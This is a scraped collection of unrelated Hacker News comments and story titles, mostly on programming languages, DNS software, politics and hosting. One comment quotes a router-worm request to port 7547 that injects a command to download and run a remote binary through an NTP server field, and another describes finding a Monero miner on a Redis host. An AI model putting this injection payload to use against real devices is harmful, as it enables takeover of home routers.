skysight-inc/HackerNews huggingface dataset:
The US president has a "Presidential Decision Handbook" available at all times, which includes a menu of nuclear retaliation options. In theory he can launch these on his authority alone. Some would kill more than 100 million people:

"The president can select nuclear strike packages against three categories — military targets, war-supporting or economic targets and leadership targets. There are sub-options, and the menu allows a president to withhold attacks on specific targets.

Two officials said that the “Black Book” also includes estimates on the number of casualties for each of the main options that run into the millions, and in some cases over 100 million. Officials who have dealt with nuclear-war options said that learning the details can be horrifying and that there is a “Dr. Strangelove” feel to the whole enterprise."

https://www.google.com/amp/s/www.washingtonpost.com/amphtml/...

I can see the next president tweeting at 3.30 am: "Should I launch Black Book option 17C? I'll keep you in suspense..."
Yes, Nixon and Kissinger were believers in a "Madman Strategy":

http://nsarchive.gwu.edu/nukevault/ebb517-Nixon-Kissinger-an...
It depends on the amount of money you can spend on it. For most companies, where money is not an issue, it is better to have commercial support for software.
That's only half the problem; you also need to reallocate housing from the diffuse suburban homes suitable for car-life to the concentrated cores of housing around the local stops in your mass transit system.

Which is not to say it shouldn't be done, but bootstrapping a mass transit system is a long, slow process that involves throwing away a lot more than our existing cars & highways.
Office worker survey: Moaners and noisy eaters among top gripes
In the end giving in the same (or even more efficient) CPU instructions.

We both know that is not always true and heavily depends on the type of software though.. Take https://github.com/micropython/micropython for instance: what higher level language but C would allow that to run with the same performance as it has now, on as much different devices? C++ would be a viable answer, but when used e.g. as C + templates it's basically still a form of C and anyway your complaints have been raised in nearly the exact same wordings about C++ laguage as well..
> With modern day computing power and compilers there are better ways to tell the computer and explain your fellow programmer what you want the computer to do. In the end giving in the same (or even more efficient) CPU instructions.

It was already like that 10 years before C was invented, but their authors didn't want to invest too much resources creating an Extended Algol, PL/I or similar compiler.

ESPOL and NEWP were already available in the 60's.
> Through many talks with devoted and diverse people there — people who chose to invite me into their dorms and conversations rather than ostracize me — I began to realize the damage I had done.

> That kind of persuasion happens in person-to-person interactions and it requires a lot of honest listening on both sides. For me, the conversations that led me to change my views started because I couldn’t understand why anyone would fear me. I thought I was only doing what was right and defending those I loved.

These two quotes kinda resonate with me. I'm no longer on a college campus and can only take an impression from afar. But it seems like these two scenarios are more and more infrequent. It seems like now you must show that you have not been "tainted" by listening to someone with "reprehensible" opinions. This article states that people who didn't convulse at the mere thought of him, but sat down and talked to him are the reason why he drifted from his ideology. Now, it seems like you could be ostracized yourself for even visiting this person in their dorm room.
IPv6 records and SRV records were supported from the start, Bernstein himself explaining that the generic binary record format covered that. The syntax wasn't pretty, but the support was there. Extensions to the database source form that are prettier have been around for many years. I have a DNS database with this record in it, for example:

+jdebp.info:2001_41d0_2_aa92_0_ff_fe23_8e7a

An SRV record would be

S_sip._udp.jdebp.info::sip.jdebp.info:5060:10:20

Queries over an IPv6 transport have been supported since at least the year 2000, that work having been done by Felix von Leitner. Peter Conrad built DNSSEC support on top of M. von Leitner's work.
> I've been poking around the various *chans to see if I can brave the noise and chaos

Make Overchan one of your hops, there's a huge updated list of chans there:

https://www.1ch.us/
Standard practice or not, it still just seems wrong to me - maybe that's just the part of me that believes that healthcare shouldn't be treated as a business.
Wikipedia has a list of programming languages written in other "human languages"[0], but they are pretty obscure for the most part.

At the end of the day, english has "won" as the language of keywords in programming. And while i'm glad that most newer languages have the ability to code everything but keywords in your native language (i've worked with JS that has variables and function names in other scripts), translating the keywords seems like a pointless process that would do nothing but cause incompatibility.

[0] https://en.wikipedia.org/wiki/Non-English-based_programming_...
The kw is the max power rating, not a constant output.
As a kinda-technically-white male heterosexual myself, I think you've been reading too many conspiracy websites, or possibly idiotic Twitter feeds, if you think anyone is asking us to "commit suicide", or claiming we're "guilty". Also, as a Jew, welcome to being a minority: you'll live.
Cards Against Humanity hole dig almost complete
One of the reasons I am getting an LG V20.
C is still the lingua franca of computing, like it or not.
Turbo Pascal, Think Pascal, Quick Pascal, FreePascal, Modula-2, Ada, Delphi, MikroElektronika Pascal

The availability of compilers for a specific architecture is orthogonal to the language.
he seems to be overly prone to ideology.
Fodor: Auto setup and provision GitHub repositories on new DigitalOcean droplets
Silver Swan Automaton
> realized it was invite only

Send a PM to the creator Joshua Stein asking for a invite link then?

https://twitter.com/jcs
Lots of library maintainers can't be arsed to put parentheses around their print statements (and perform the occasional slight change to other behaviors), or to run any of the automated tools that perform these compatibility-preserving changes. As a result, libraries maintained by these stubborn lazy people are not usable on python3, which makes beginners (who don't have a clear understanding of how these libraries are written and how easy it would be for them to perform the conversions themselves, because they still believe that "professionals" have some magic power other than the willingness to be persistent) wary of doing anything in python3.

It's very straightforward to write code that works in python 2 and python 3, and anyone learning python for the first time should be learning to write in that way. Ultimately, many of the compatibility changes are making things that have long been possible but considered poor style / bad habits no longer possible when doing so made the language easier to understand and behaviors more predictable (think print statement vs print function), or streamlining things that were originally bolted-on (think unicode).
It was rather spoiled by the fact that your knowledge of djbdns is not from this millennium. Felix von Leitner's work dates from back at the turn of the century, and it went into things like the NetBSD packaged djbdns very quickly.
This isn't really something that Go is meant to do, but it is possible with a little bit of hacking.

https://blog.heroku.com/see_python_see_python_go_go_python_g...
Any answer to this would be a vector.

Also, people are more prone to be selfish in some environments than in others. One relevant example is that people that were taken advantage of are more prone to it than people that weren't.

And you'll have to add policing efficiency to the equation. We are pretty great in forcing people to cooperate.
And let them mutate, become super intelligent killer giant ants and declare war on earth? No thanks!
But seriously, they would probably just die..
Amazon imposes limit on reviews
An Analysis of Minecraft-Like Engines (2012)
C is utterly predictable. Maybe you're the exploding chainsaw in this metaphor.
You are impacting battery longevity though.
Pop a PM to the creator Joshua Stein asking for a invite link then?

https://twitter.com/jcs
My university in the mid-90's already knew it was better to teach safe practices in C++ and Pascal dialects than keep teaching pure C.

We were supposed to be able to use C in the OS design classes from our C++ learnings.
I don't think that's true. I work at a major software company and certainly not all of my coworkers are interested enough in low-level stuff to ever need to read assembly.

It's a good skill to have, and since not everyone has it you will often be able to solve problems that no one else can.
What do you mean by "parent's quote"?

The thing people are responding to is "No, Trump did no call for ban on all muslims."

He did. Whether he should be held to his ham-fisted early rhetoric and whether it is pro-security or anti-Muslim are entirely different discussions than the one about what words actually came out of his mouth.
Yeah but my point is that it will be pretty hard to produce a replica where you charge thousands per book with just a high resolution PDF alone.

You want to see how the book looks in 3D, in real lighting and at different angles. A PDF cannot convey how that will look. The only way to produce a high quality replica is to look at the real thing and work to match how it really is.

They would need authorisation for that access.
CNN buys Casey Neistat’s Beme app, brings the YouTuber in-house
NO. You NEED to stop telling other people what they NEED. You don't know them. You don't know jack shit. You do not see through the matrix. You are not enlightened. You haven't figured it all out. You do not have the right to tell somebody else what they NEED to do. You are not their shepherd, not their moral compass, you are nothing to them. Your opinion does not hold more weight than theirs.

You are not mr. Spock. You are ruled by emotion just like everybody else. Your opinion is not objective. It is shaped by your emotion. So tell me, why do your emotions hold precedence over theirs?
>Seriously, the "Right" and "Left" are abstractions for two general philosophies about human nature, the Right believing that human nature is basically fixed, or as a favorite history teacher put it, "Original Sin is an empirical observation!", and the Left believes in the perfectibility of man. And historically, at least since the French Revolution which created the modern versions of these two, has gotten downright murderously violent when their attempts to "perfect" men failed, as we on the right believe is inevitable.

This is a uniquely right-wing view of what "left" and "right" mean. On the Left, we view it as your preferring hierarchy over equality, and our preferring equality over hierarchy. We also think of our politics as materialist and class-based, while yours are idealist (in the continental philosophy sense) and identity-based.

So you probably should drop an abstraction that isn't informative about anything except your own ideology.
POST /UD/act?1 HTTP/1.1
Host: 127.0.0.1:7547
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 526

<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://l.ocal.host/2;chmod 777 2;./2`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>

#./2
....
busybox iptables -A INPUT -p tcp --destination-port 7547 -j DROP
...

next version step Mirai?

https://www.virustotal.com/en/file/ff6e949c7d1cd82ffc4a1b27e...
I wouldn't say open source. But well-defined inter-operation protocols and strong encryption, yep.
How is this any different from Serverless? (not trolling, I could not find any differences in the README)
I respect that ethical motivations of free software in an age of mass surveillance, retail tracking and the copyright war but I routinely use proprietary software.

In practice when a free clone lacks a feature or has a bug that stops me, I have no choice. I seldom have the skills and time to pop the hood and fiddle with the code.

If I need to read a document typed in MS Word that is unreadable in libre office, I'm going to download MS office viewer...
>Developed countries have lower population growth due to better access to sex education, contraceptives and healthcare.

High income that mostly constitutes personal earnings is different than high income that mostly constitutes guaranteed government transfers. The personal responsibility required to maintain the former creates an incentive to avoid having children one is not financially capable of support. The lack of any such requirement in the latter creates the opposite incentives.

Moreover, the correlation between high resource availability and low population growth is a historical anomaly. For most of history the opposite has been the case. There is no guarantee there won't be a return to the historical norm. Natural selection will favor the growth of population groups that respond to high resource availability with larger families, so this is what we logically expect to predominate.

Finally, you never answered how you would get 300 million people in the US, let alone 7 billion people worldwide, to agree to redistribute their personal assets.
Example : you don't have to defend Linux as a server OS because it's an excellent OS for servers. Now if we're talking as a desktop OS ...

...it's still better, because it has Xfce. ;)
Apart from sudden extinction events like a Giant Meteor™ hitting earth - isn't earth still going to be vastly more friendly than an outer solar system body, even if we ruin it?

I mean after a new ice age, a complete runaway greenhouse process, an episode waterworld, a complete thermonuclear mayhem, etc. etc. the ruined earth will still be easier to "re-colonize" than Titan or Mars.

If we need space suits to go outside on Earth because its +100 or -100 degrees C or there is radiation everywhere etc - we are still likely to have an environment that is friendlier than Mars/Titan. It's like he says in the article - if we are going to live in caves we might as well do it on Earth. Now - if we worry about our survival as a species then colonizing makes perfect sense. If we worry about destroying the planet, then I don't get it. We can't possibly destroy Earth to a point where it is less hospitable than Titan?
Cute http://i.imgur.com/duI91L6.png
Historical accident.

It could have been written in any other language that compiled to native code, if we had more options available.
I think it now amounts to adding a line to the file that tells it to not use the standard library. I've seen smaller projects that did it, and it was nothing like crazy hacks.
It's gotta be the case. Probably choose trip db based on cutting map into squares or hexagons. Dump all location data from drivers and riders into it real time. Sounds like they've got batch jobs running against these databases to discover surge areas and stuff. Probably designed to only hit only 1-2 databases at a time for calculations they do a lot.

This really looks like a crap design overall for a company started well in the age of nosql and stream processing.
We on the Left criticize Islam all the damn time. We just don't like invading Middle Eastern countries for no palpable benefit.
China approves $36B railway plan for Jing-Jin-Ji megacity
User-Generated Content: How to Make a Corporate Page More Engaging
I think it is considered problematic because ability in the modern world (at the very least) is largely correlated with "mental attributes", and, in a meritocratic society, a group which was less able would be afforded less power. That unequal distribution of power would be in direct conflict with the democratic ideal of equal representation, leading to the tension.

If it was generally believed that the democratic will represents everyone's interests roughly equally, then this wouldn't of itself present a problem. Unfortunately, the failure of nominally inclusive establishments to address the political concerns of large sections of their societies strains the credibility of this belief, to the point of breaking, in some cases.

Beyond the political consequences, meritocratic societies have a tendency to draw a relationship between economic value and social value. Telling a group of people that they are less socially valuable just isn't very nice. Of course, these relationships aren't facts of the world - they are simply choices made be societies.

So, it would be possible to have a society where such things as you mention could be discussed openly without drawing criticism, but it would be necessary for the labelling that you were engaging in to not make implicit claims about people's social value.
I can certainly say that I’m flatly not going to use something that fails at keyboard usability like this, because I myself would hate to use it.
hah! fixed that for you.

Who would complain about something as wonderful as C11, outside it not being available for your compiler?
The reality is that half of the voters chose white supremacy, though saying that makes me a hypocrite.

Wut? People who voted for Obama voted for Trump! Seems like when people, like this guy, get emotional over election results, they throw all logic out of the window.
Do you believe anyone ever actually takes any position out of genuine conscience?
The Alt Right's position on your first paragraph is that all those are fine, but those "basic human decencies" should be accorded to others in their own lands ("diversity + proximity = war), ignoring the minor detail that simple facts always put women at a disadvantage in physical combat unless they effectively arm themselves. You are, I assume, in favor of legal concealed carry? Or have noted that women, and minority women, are doing it at ever greater rates, enough to significantly change gun design and production patterns?

But some of what you say in it is ludicrous on its face:

I can go to a public restroom without fear of physical assault.

Really? You must live some place special where no crime occurs in such venues.

I can apply for a job without having my application thrown out on account of my name.

But your race, sex or sexual orientation? Haven't you noticed you're at a disadvantage here more and more? I mean, this was the theme of an episode of Archie Bunker which aired in the 1970s, the iconic scene was "Meathead" slamming a door so hard it broke the glass in it, very memorable.

Moving on:

On the other hand, if you claim special rights by virtue of skin color, gender, or religion

You're claiming a full on assault is "[t]he loss of a privileged position"; I guess at best we'll just have to agree to disagree, since it appears that simply asking for equal rights in the identity politics game, heck, even being allowed to play it, is beyond the pale for you, puts me in the basket of deplorables. But correct me if I'm wrong about that summation of your position.
Seeds of a Fintech Startup Sometimes Come from the Trenches
Virtual reality has a multiplayer issue?
In utf8, these characters are all encoded as two bytes. So this encoding makes the byte count twice as long, it's no more efficient (in bytes) than hex encoding.
Just curious, what are us C apologists supposed to be apologizing for:

- A lack of suitable replacement for C?

- C is too ubiquitous?

- C has been an integral part of most of the best software ever written?
Silicon Valley Has an Empathy Vacuum
I don' disagree with the law itself.

However, each technological advance is also an opportunity to break free from restrictions and mistreatment from the previous status quo.
we are in the same situation. Early morning today found one host with a high cpu usage. Turned out it was running `./yam` process as a `redis` user. I shut the host down for now.
Before shutting it down I did a strace and saw json stream clearly stating that it is a monero app.
Looks like the cpu spiked about 12 hours ago. We do have redis on a host but it should be behind the iptables rules.
Other hosts look ok.
Have a dev server with them and considering moving production. Network and hardware seem solid so far. Heard terrible things about their support, but I expect a lot of these are from people who don't know what they're getting into when buying unmanaged servers.

DDoS protection is mostly against volumetric attacks. It won't protect you from an L7 flood that crashes your infrastructure by targeting some expensive service. It will clean up SYN floods, UDP floods, reflected NTP / DNS, etc just fine.
These constructs were designed for erlang as far back at 1986. They also are not just worker threads, they do not have a similar concept in most languages.
A lot of what they are describing in the first half sounds like kubernetes. I wonder if they could do it again would they adopt it...?
I have always wondered how they transfer such knowledge down the generations and more importantly how they gathered such knowledge in the first place. There is striking similarity between humans and ants in group work and working towards common goals necessary for survival. There are brown and green aphids and ants breeds them keeping a particular ratio - one aphid type makes honey that tastes great for them and the other aphid type with honey not that great but it secrets something onto plants which delays flowering and thus prevents plants from dying off earlier after flowering, thus increasing the value ants extracts from a plant. Think for a moment the steps involved from discovering aphids. They are brilliant!
Butter doesn’t increase risk of heart disease after all
Link to original study at Archive.org: https://archive.org/stream/nasa_techdoc_19930072988/19930072...
Well, there are two types of people in this world

1. the type that do something

2. the type that claim they could do it better than the first group (this is by no means limited to programming, it is for example pretty common in politics)

So please show me an OS written in Go or Rust or Ruby or Python or Java that people can actually use for day-to-day tasks.
Lo and Behold – Reveries of the Connected World (trailer)
4 Ways Social Media Can Help Make Your Brand Explode
The hidden war over grocery shelf space [video]
Could you elaborate what redis configuration could've caused this?
Consider that most people coming from these sources are just looking for a quick read; they don't have a problem they're trying to solve (referral/search traffic), they just want to be entertained.

So I've gotten same number of subscribers from endorsement tweet that was probably seen by a few hundred people as I've gotten from thousands of visitors from HN.

It's important to have a good call-to-action for subscribing to the mailing list that is tied to your page content, rather than generic or unrelated. Gotten 3x improvement from that. But it's still a low sign up rate.
> The array type seems completely tractable and may be able to be caught by the compiler.

This isn't an error, it was a design decision: https://en.wikipedia.org/wiki/Covariance_and_contravariance_...

You could call it bad design, but fixing it would (imo) just make Java even worse than it already is.
Training a Classifier for Relation Extraction of miRNA and Genes
great advice! Thank you for saying this clearly.
Show HN: Chartify – lightweight and customizable React.js chart component